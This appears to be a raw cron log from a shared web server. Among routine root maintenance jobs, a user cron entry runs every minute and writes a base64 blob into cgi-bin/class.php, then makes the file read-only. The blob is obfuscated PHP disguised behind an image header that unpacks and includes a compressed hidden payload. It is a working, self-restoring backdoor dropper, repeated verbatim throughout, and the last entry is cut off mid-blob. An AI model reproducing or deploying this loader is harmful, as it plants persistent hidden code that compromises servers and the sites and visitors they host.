Apr 12 04:40:01 server CROND[23799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:40:01 server CROND[23797]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 04:41:01 server CROND[23998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:42:01 server CROND[24046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:42:01 server CROND[24047]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 04:43:01 server CROND[24147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:44:01 server CROND[24193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:45:01 server CROND[24249]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:45:01 server CROND[24250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:45:01 server CROND[24251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:46:01 server CROND[24440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:47:01 server CROND[24487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:48:01 server CROND[24537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:49:01 server CROND[24608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:50:01 server CROND[24654]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:50:01 server CROND[24658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:50:01 server CROND[24656]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 04:50:01 server CROND[24657]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 04:50:01 server CROND[24659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:51:01 server CROND[24855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:52:01 server CROND[24900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:53:01 server CROND[24954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0